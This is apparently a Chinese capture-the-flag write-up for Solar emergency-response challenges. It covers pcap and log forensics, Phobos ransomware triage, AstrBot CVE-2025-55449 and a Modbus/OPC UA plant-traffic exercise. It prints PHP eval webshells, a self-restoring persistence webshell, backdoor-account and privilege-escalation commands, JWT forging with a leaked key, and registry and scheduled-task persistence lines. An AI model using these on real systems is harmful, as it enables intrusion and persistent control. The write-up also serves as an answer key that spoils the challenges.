2025年第二届Solar应急响应挑战赛

2025年Solar应急响应公益月赛-11月

应急响应(emergency)

有一台客户的服务器被黑客入侵了,好在安全工程师开启了流量包,请你完成这些题目,提升服务器的安全性吧!

用户名:Administrator

密码:Qsnctf2025

链接: https://pan.baidu.com/s/1LxYbnbYPpzTj0eL1yRKxiA 提取码: db5g

压缩包密码:349df0a5061cfd47e375c8dba9c773d7

赛题为:流量捕获.pcapng + emergency靶场

任务1

任务名称:提交黑客的IP地址

任务分数:2.00

任务类型:静态Flag

提交格式为flag{0.0.0.0}

protocol == http过滤,发现10.0.100.69攻击10.0.100.13

flag{10.0.100.69}

任务2

任务名称:提交黑客初始连接的PHP一句话木马密码

任务分数:2.00

任务类型:静态Flag

提交格式为flag{abc}

protocol == http过滤,发现frame.number==894 || frame.number==901内容是初始连接的PHP一句话木马。

No.894

Form item: "value" = "<?php @eval($_POST\['shell']) ?>"

No.901

{"status":1,"message":"\u64cd\u4f5c\u6210\u529f\uff01"} 操作成功!
flag{shell}

任务3

任务名称:提交黑客通过初始连接一句话木马后创建新的一句话木马文件的MD5

任务分数:2.00

任务类型:静态Flag

提交格式为flag{md5}

protocol == http过滤,发现frame.number==53923 || frame.number==53926创建新的一句话木马文件shell.php,计算shell.php的MD5值。

No.53923

C:/phpstudy_pro/WWW/shell.php

No.53926

shell.php

<?php @eval($_POST"qsnctf_2025_lab"); ?>
flag{91a29f36879b024d661851b7765f3969}

任务4

任务名称:提交黑客创建的不死马的密码

任务分数:2.00

任务类型:静态Flag

提交格式为flag{md5}

protocol == http过滤,发现frame.number==54240 || frame.number==54250上传不死马bsm.php

No.54240

C:/phpstudy_pro/WWW/bsm.php

php 复制代码
<?php
ignore_user_abort(true);
set_time_limit(0);

$shell_content = '<?php @eval($_POST["4aad625950d058c24711560e5f8445b9"]); ?>';
$shell_path = __DIR__ . '/.config.php';

while (true) {
    if (!file_exists($shell_path)) {
        file_put_contents($shell_path, $shell_content);
        chmod($shell_path, 0444);
    }
    sleep(5);
}
?>

flag{4aad625950d058c24711560e5f8445b9}

任务5

任务名称:提交黑客上传的恶意文件(远程控制木马)的名称

任务分数:2.00

任务类型:静态Flag

提交格式为flag{abc.exe}

protocol == http过滤,发现frame.number==68118 || frame.number==68167上传shell.exe,No.69165执行shell.exe。

No.68118

C:/phpstudy_pro/WWW/shell.exe

No.69165 执行shell.exe

cd /d "C:\\phpstudy_pro\\WWW" & shell.exe & echo 8f92ab47 & cd & echo dbeb03f5
flag{shell.exe}

任务6

任务名称:提交黑客上传的恶意文件(远程控制木马)的MD5

任务分数:2.00

任务类型:静态Flag

提交格式为flag{md5}

计算shell.exe的MD5值。

flag{0410284ea74b11d26f868ead6aa646e1}

任务7

任务名称:提交黑客上传的恶意文件(远程控制木马)的端口

任务分数:2.00

任务类型:静态Flag

提交格式为flag{1234}

在沙箱虚拟机运行一下,再排查进程和端口。
PID 对应的端口 4444

flag{4444}

任务8

任务名称:请提交黑客创建用户账户的用户名

任务分数:2.00

任务类型:静态Flag

提交格式为flag{username}

protocol == http过滤,发现frame.number==73634 || frame.number==73637添加账号密码

cd /d "C:\\phpstudy_pro\\WWW" & net user hidden$ P@ssw0rd123 /add

发现frame.number==73718 || frame.number==73721添加账号hidden$到管理员组

cd /d "C:\\phpstudy_pro\\WWW" & net localgroup administrators hidden /add flag{hidden}

任务9

任务名称:请提交黑客创建用户账户的密码

任务分数:2.00

任务类型:静态Flag

提交格式为flag{password}

flag{P@ssw0rd123}

任务10

任务名称:请提交黑客创建用户账户的时间

任务分数:2.00

任务类型:静态Flag

flag{2025/01/01 01:00:00}
过滤事件ID:4720(创建用户)

flag{2025/11/20 16:13:32}

2700勒索病毒排查

某公司财务机器某天突然卡顿,任务管理器发现有程序在高占用,后续所有文件都无法打开,且所有文件都变成了.2700结尾的扩展名,目前通过一些特征判断是勒索病毒,比如勒索信以及文件名等,请您上机排查,并根据题目指引进行溯源和数据恢复。

所需工具在C:\Users\Solar\Desktop\工具\目录中

账号:Solar

密码:Solar521

靶机使用说明:https://mp.weixin.qq.com/s/XFisEU5Gdk245cn8jsnlZQ

任务1

任务名称:此勒索家族名称是什么?

任务分数:2.00

任务类型:静态Flag

此勒索家族名称是什么?可访问应急响应.com进行查询,大小写敏感,最终以flag{}提交

在应急响应.com(https://www.solarsecurity.cn/detection)搜索sqlback@memeware.net,发现属于Phobos家族。
桌面有info.txt文件

Phobos家族

flag{Phobos}

任务2

任务名称:勒索病毒预留的ID是什么

任务分数:2.00

任务类型:静态Flag

勒索病毒预留的ID是什么(预留ID为勒索组织恢复的凭证),以flag{}提交,如有多个以&进行连接

任务1图片中扩展名前可以看见id4A30C4F9-3524.sqlback@memeware.net.2700。桌面的info.hta打开也可见ID。
桌面有info.hta文件

flag{4A30C4F9-3524}

任务3

任务名称:提交开始加密的时间

任务分数:2.00

任务类型:静态Flag

提交开始加密的时间,以flag{2025/1/1 11:11}格式提交

桌面info.txt、info.hta创建时间。
2025/11/19 14:31:23

flag{2025/11/19 14:31}

任务4

任务名称:提交flag

任务分数:2.00

任务类型:静态Flag

访问:应急响应.com 找到此家族恢复工具进行恢复,提交C:\Users\Solar\Desktop\lSimulation_Desktop_Files\flag.txt文件中的flag

访问应急响应.com,在 https://www.solarsecurity.cn/tools 找到Phobos家族恢复工具,下载Phobos恢复工具,恢复文件即可。

flag{6eff1ea09e63423a48288a77d97e0cc6}

任务5

任务名称:提交发送邮件的邮箱

任务分数:2.00

任务类型:静态Flag

提交C:\Users\Solar\Desktop\工具\mail 发送邮件的邮箱,以flag{xxx@xxx.com}格式提交

打开"已开发票(附件打开).eml"文件,找到From: 字段。
已开发票(附件打开).eml

flag{1983929223@qq.com}

任务6

任务名称:提交发送邮件的IP

任务分数:2.00

任务类型:静态Flag

提交C:\Users\Solar\Desktop\工具\mail 发送邮件的IP,以flag{x.x.x.x}格式提交
X-Originating-IP:39.91.141.213

flag{39.91.141.213}

任务7

任务名称:提交钓鱼附件中的C2地址

任务分数:2.00

任务类型:静态Flag

提交钓鱼附件中的C2地址,以flag{x.x.x.x}格式提交
C2地址

flag{182.9.80.123}

任务8

任务名称:提交flag

任务分数:2.00

任务类型:静态Flag

部分数据丢失,好在运维之前做了备份,使用C:\Users\Solar\Desktop\工具\diskgenus恢复C:\Users\Solar\Desktop\工具\backup中的备份内:C:\Users\Solar\Desktop\flag.bak文件,提交其flag。

使用diskgenus打开备份镜像,找到C:\Users\Solar\Desktop\flag.bak文件。
找到C:\Users\Solar\Desktop\flag.bak文件

flag{92047522e5080bad36eda9d29d5a163e}

2025年Solar应急响应挑战赛-12月

签到

代码审计,GET方法,?flag=flag{8565d92c4a881fbab0d4af4125ea28e1}入参正确即可。

flag{ad85b70b1b68449b88e1cad2836c32d3}

Traffic Analysis【CVE-2025-55449】

备份下载1:https://pan.baidu.com/s/14QtnAOAa3fNEKt7YQZRk2A 提取码: dcm2

备份下载2:https://wwboa.lanzouq.com/ivXYo3egom5a

备份下载3:https://pan.quark.cn/s/202c2e1cfe39 提取码:PSgS
问题 1、2、3

问题1:CVE编号是多少

例:CVE-xxxx-xxxxx

过滤条件是http && ip.host != 172.17.0.2。

frame.number < 368 有大量astrbot登录尝试。

frame.number == 368 有POST //api/plugin/install-upload HTTP/1.1\r\n。

frame.number == 376 上传helloworld.zip并安装成功。

frame.number > 376 有大量RCE。

据此特征判断是 AstrBot /api/plugin/install-upload 命令执行漏洞(CVE-2025-55449)

CVE-2025-55449

问题2:伪造用户名

例:root

frame.number == 367,发现Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzY1OTU5NTk2fQ.W0Mg3SVOfUonGgZDMk_nswAVCcYTlOVAM_0KIdFnKSc。

具体参考AstrBot 远程代码执行漏洞 | CVE-2025-55449 复现&研究。 已知CVE-2025-55449的利用代码,但存在签名过期的问题(jwt.exceptions.ExpiredSignatureError: Signature has expired)。所以,将操作系统时间调整到流量发生的时间2025-12-10或有效期内2025-12-10,即可正常解码。

python 复制代码
import jwt
from datetime import datetime, timedelta

WEBUI_SK='Advanced_System_for_Text'

def generate_jwt(username):
    payload = {
        "username": username,
        "exp": datetime.utcnow() + timedelta(days=7),
    }
    token = jwt.encode(payload, WEBUI_SK, algorithm="HS256")
    return token

if __name__=='__main__':
    token = generate_jwt('astrbot')
    print(token)

    t = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzY1OTU5NTk2fQ.W0Mg3SVOfUonGgZDMk_nswAVCcYTlOVAM_0KIdFnKSc'
    m = jwt.decode(t, WEBUI_SK, algorithms='HS256')
    print(m) 
    # {'username': 'admin', 'exp': 1765959596}

admin

问题3:恶意文件名是什么

例:xxxx.xxx

frame.number == 368 上传恶意文件,并安装成功。

helloworld.zip

问题4:运行路径在哪

例:/xxx

frame.number == 480 的RCE是pwd,可以看到当前的运行路径。
问题4

/AstrBot

问题5:flag的值

例:flag{xxxxx}

frame.number == 573 的RCE是cat flag。
问题5

flag{80892e26-dbcc-49be-9f40-e14f772741d0}

问题6:JWT的key是多少

例:xxxxx

frame.number == 642 的RCE是env,可以看到环境变量WEBUI_SK的值。
问题6

Advanced_System_for_Text

提交最终flag的格式如下:

flag{md5(问题1_问题2_问题3_问题4_问题5_问题6)}

CVE-2025-55449_admin_helloworld.zip_/AstrBot_flag{80892e26-dbcc-49be-9f40-e14f772741d0}_Advanced_System_for_Text

flag{f585fb56a8f67ceffd494f5ae96a6dff}

你能拿到权限我就给你FLAG

我有一台Windows Server的电脑,我的用户名叫Lab,我的密码是Lab2025..,我的C盘下有一个flag文件夹里面放着flag.txt,但是我好像读取不了。你如果能读取到这个FLAG,那这个FLAG就归你啦!

靶机是Windows Server 2008 R2。先收集信息,上传对应EXP,添加root账号并加入administrators组。登录root账号,以管理员身份打开notepad,再打开flag.txt即可。
systeminfo
CVE-018-8120.exe "net user root 1qaz@WSX /add"
CVE-018-8120.exe "net localgroup administrators root /add"
登录root账号,以管理员身份打开notepad,再打开flag.txt即可。

systeminfo

CVE-018-8120.exe "net user root 1qaz@WSX /add"

CVE-018-8120.exe "net localgroup administrators root /add"
flag{af8dbd72dfae83f5563a7f8b8e77151c}

日志排查

题目信息

时间:2025年12月17日 事件:安全运营中心(SOC)监测到数据库服务器流量异常,随后发现管理员组中出现不明账号。任务:请根据提供的日志文件(MSSQL ERRORLOG、Windows 安全日志、系统镜像/注册表),按时间顺序回答以下问题

备份下载1:https://pan.baidu.com/s/1d8M7slE_2PXr3fLD2VzayQ 提取码: hjfa

备份下载2:https://wwboa.lanzouq.com/ijPsg3egom3i

备份下载3:链接:https://pan.quark.cn/s/a7a9dfbdfaa2 提取码:3xeW

任务1

任务名称:任务1

任务分数:100.00

任务类型:静态Flag

在攻击真正发生之前,防火墙记录到了针对 SQL Server 的暴力破解行为。请找出发起暴力破解(大量登录失败)的 IP 地址。(按时间顺序用_连接,FLAG格式为:flag{ip_ip}

Application.evtx,筛选ID:18456,看到49386条登录失败日志。按时间顺序发起暴力破解的IP地址。
Application.evtx,筛选ID:18456
Application.evtx,筛选ID:18456

flag{192.168.146.135_192.168.146.161}

任务2

任务名称:任务2

任务分数:100.00

任务类型:静态Flag

请分析 MSSQL 日志文件,找到攻击者 IP 192.168.146.135 在结束暴力破解后,首次成功使用"SQL Server 身份验证"建立连接的时间。FLAG格式为:flag{2025/01/01 11:00:01}

Application.evtx,筛选ID:18454,看到18条登录失败日志。找到从192.168.146.135登录的这条。
Application.evtx,筛选ID:18454

flag{2025/12/17 11:17:26}

任务3

任务名称:任务3

任务分数:100.00

任务类型:静态Flag

经分析,攻击者登陆数据库后进行了关键配置更改以启用命令执行功能。 请还原攻击者在该时间点内的完整配置修改链(按日志记录顺序)。FLAG格式为:flag{配置名1_配置名2}

Application.evtx,筛选ID:15457,看到32条登录失败日志。2025-12-17 11:29:11有2条修改配置。
Application.evtx,筛选ID:15457
Application.evtx,筛选ID:15457

flag{show advanced options_xp_cmdshell}

任务4

任务名称:任务4

任务分数:100.00

任务类型:静态Flag

攻击者在执行复杂的命令前,先写入了一个测试文件以验证写入权限。请提供该测试文件的完整绝对路径。FLAG格式为:flag{C:\ABC\def.txt}

Security.evtx查找字符串C:\Windows\Temp\。

测试一般选择的目录有:

用户临时目录:C:\Users\<用户名>\AppData\Local\Temp\

系统临时目录:C:\Windows\Temp\

测试文件名字一般是:test.txt、1.txt、a.txt等
Security.evtx 查找字符串 C:\Windows\Temp\

flag{C:\Windows\Temp\test.txt}

任务5

任务名称:任务5

任务分数:100.00

任务类型:静态Flag

攻击者觉得通过数据库执行命令太麻烦,于是创建了一个系统后门用户 123。该后门用户的明文密码是什么?

Security.evtx查找字符串net user。
Security.evtx 查找字符串 net user

flag{33arsierting}}

任务6

任务名称:任务6

任务分数:100.00

任务类型:静态Flag

在创建完后门用户后,攻击者使用远程桌面 (RDP) 登录了服务器。请找出用户 123 首次 RDP 登录成功的精确时间。flag格式为:flag{2025/01/01 15:00:00}

Security.evtx,筛选ID:4624,看到100条日志。2025-12-17 15:06:03是123的首次RDP登录。
Security.evtx,筛选ID:4624

flag{2025/12/17 15:06:03}

任务7

任务名称:任务7

任务分数:100.00

任务类型:静态Flag

攻击者为了确保服务器重启后仍能控制机器,在系统中留下了三个持久化后门。 请找到这三处隐藏的字符串,并按以下顺序拼接:flag{flag1flag2flag3}
进程命令行: "C:\Windows\System32\cmd.exe" /C "C:\temp\run.bat"
进程命令行: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "flag1" /t REG_SZ /d "cmd.exe /c echo {krjl424" /f
进程命令行: schtasks /create /tn "flag2" /tr "cmd.exe /c echo wq3453dalb" /sc onlogon /ru SYSTEM /f
进程命令行: sc description "flag3" "Service Key: zlmqu458xktq}"

进程命令行: "C:\Windows\System32\cmd.exe" /C "C:\temp\run.bat"

进程命令行: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "flag1" /t REG_SZ /d "cmd.exe /c echo {krjl424" /f

进程命令行: schtasks /create /tn "flag2" /tr "cmd.exe /c echo wq3453dalb" /sc onlogon /ru SYSTEM /f

进程命令行: sc description "flag3" "Service Key: zlmqu458xktq}"
flag{krjl424wq3453dalbzlmqu458xktq}

工厂应急

某化工厂监控网络出现异常波动。你拿到了一份汇总的抓包文件。

任务1

任务名称:工厂应急Q1

任务分数:2.00

任务类型:静态Flag

谁把泵关了? 提交格式:flag{0xtransaction_id_0xfunction_code_0xcoil_address}

发现的modbus流量,关闭泵必须是写流量,过滤掉读流量,剩下那个就是flag。
modbus.func_code != 1 && modbus.func_code != 3
过滤掉读流量 modbus.func_code != 1 && modbus.func_code != 3

flag{0x1a2b_0x05_0x000d}

任务2

任务名称:工厂应急Q2

任务分数:2.00

任务类型:静态Flag

被写入的 NodeId

因为找NodeId,所以过滤条件是 tcp.segment_data contains "NodeId" 。有大量的BrowseRequest,也有WriteRequest。

BrowseRequest:NodeId=ns=3;s=Alarms;

BrowseRequest:NodeId=ns=2;s=Valve/Position;

BrowseRequest:NodeId=ns=2;s=Objects;

BrowseRequest:NodeId=ns=2;s=Pump/Status;

WriteRequest:NodeId=ns=2;s=Pump/SpeedSetpoint;Value=1200;

......

过滤后在分组字节流里找"Write"字符串,主义大小写。
过滤条件是 tcp.segment_data contains "NodeId" 。
过滤后在分组字节流里找"write"字符串。

WriteRequest:NodeId=ns=2;s=Pump/SpeedSetpoint;Value=1200;
flag{ns=2;s=Pump/SpeedSetpoint}

任务3

任务名称:工厂应急Q3

任务分数:2.00

任务类型:静态Flag

工程站域名解析结果 找出工程站域名 engws.plant.local 的 A 记录解析结果(目标 IP)。 flag{x.x.x.x}
dns.qry.name == engws.plant.local && dns.a
dns.qry.name == engws.plant.local && dns.a

flag{10.0.0.8}

任务4

任务名称:工厂应急Q4

任务分数:2.00

任务类型:静态Flag

确定 HMI(源:10.0.0.x)到工程站(目的:10.0.0.x)上首个成功发起的时间点。 提交格式:flag{YYYY-MM-DDTHH:MM:SSZ}(UTC,精确到秒)

因为是到工程站上的成功发起,那么TCP三次握手应该是:HMI到工程站发出SYN(0x002)、工程站返回HMI发出ACK/SYN(0x012)、HMI发出ACK(0x010)。因为流量中ACK很多,我们的过滤条件应该是前两次握手。
(ip.src_host contains 10.0.0 && ip.dst_host==10.0.0.8 && tcp.flags==0x002) || (ip.src_host==10.0.0.8 && ip.dst_host contains 10.0.0 && tcp.flags==0x012)
找到TCP三次握手

追踪TCP流,可以看到完整的TCP三次握手、四次挥手。
追踪TCP流,可以看到完整的TCP三次握手、四次挥手

flag{2025-03-12T14:22:09Z}

任务5

任务名称:工厂应急Q5

任务分数:2.00

任务类型:静态Flag

在横向后不久,HMI 对工程站发起了 HTTP 请求。提交请求的 Host 与 URI,用下划线连接。

过滤条件:http协议,且源地址是10.0.0.x,目的地址是10.0.0.8。发现一个请求。
http && ip.src_host contains "10.0.0." && ip.dst_host == 10.0.0.8
http && ip.src_host contains "10.0.0." && ip.dst_host == 10.0.0.8

flag{engws.plant.local_/rpc}

相关推荐
三84420 小时前
云安全 · 08 · 云安全防护与应急响应
云安全·应急响应·防护
kali-Myon3 天前
分享一个网络安全 AI 工具导航项目 SecSkills
安全·ai·github·ctf
蒲公英eric4 天前
从旧接口泄露到 OAuth 保护:DVWA API 模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·api模块
白猫不黑5 天前
CTF是什么?从零理解一场攻防竞赛
网络·web安全·计算机·网络安全·信息安全·ctf·红蓝对抗
玫幽倩6 天前
2026第二届湾区杯网络安全大赛决赛(AI专项赛道静态题wp)
pytorch·python·ai·agent·ctf·rag·湾区杯
落寞的魚丶8 天前
2026年浙江省信息通信业职业技能竞赛(信息安全测试员竞赛) 初赛Wireup
ctf·鱼影安全·2026网络安全通信行业·信息安全测试员竞赛·通信职业技能大赛
合天网安实验室13 天前
Modbus协议及其取证的学习笔记
ctf·modbus·通信协议·取证
努力的lpp13 天前
php反序列化一(大白话版)
开发语言·web安全·php·ctf·反序列化
三84413 天前
redis防御加固与安全基线
数据库·redis·安全·应急响应·防御
蒲公英eric13 天前
从直接重定向到白名单验证:DVWA 开放重定向模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·开放重定向模块